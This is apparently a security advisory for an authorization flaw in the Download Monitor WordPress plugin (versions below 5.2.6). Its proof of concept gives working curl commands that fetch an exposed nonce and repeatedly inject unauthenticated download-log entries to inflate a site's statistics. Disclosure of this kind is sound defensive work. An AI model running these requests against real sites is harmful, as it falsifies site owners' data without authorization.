Download Monitor < 5.2.6 – Unauthenticated Download Log Injection | CVE 2026-16608

Description

The plugin does not perform authorization checks on one of its download-logging AJAX actions, and exposes the nonce protecting it to unauthenticated visitors, allowing unauthenticated users to inject arbitrary download log entries and inflate a site's download statistics.

Proof of Concept

Prerequisite: Download Monitor active with at least one Download that has a file version (the plugin's normal use). Note the Download ID and its Version ID.

Step 1 - Obtain the nonce (unauthenticated). Request any download URL with the plugin's XHR header; the nonce is returned in the X-DLM-Nonce response header:

curl -s -D - -o /dev/null -H "dlm-xhr-request: dlm_XMLHttpRequest" "https://victim.example/?download=DOWNLOAD_ID"
# -> response header:  X-DLM-Nonce: NONCE

Step 2 - Inject an arbitrary download-log entry (unauthenticated, no cookies), using the nonce from Step 1. The cookie=false parameter bypasses the per-visitor deduplication so entries can be injected repeatedly:

curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -d "action=log_dlm_xhr_download&download_id=DOWNLOAD_ID&version_id=VERSION_ID&status=completed&cookie=false&nonce=NONCE"
# -> HTTP 200, empty body

Step 3 - Verify. Each Step 2 request inserts a log row with user_id=0 (unauthenticated) and increments the plugin's cached download count. Repeating Step 2 with the same reusable nonce inflates the totals arbitrarily; the inflated counts are visible under Download Monitor > Reports in wp-admin.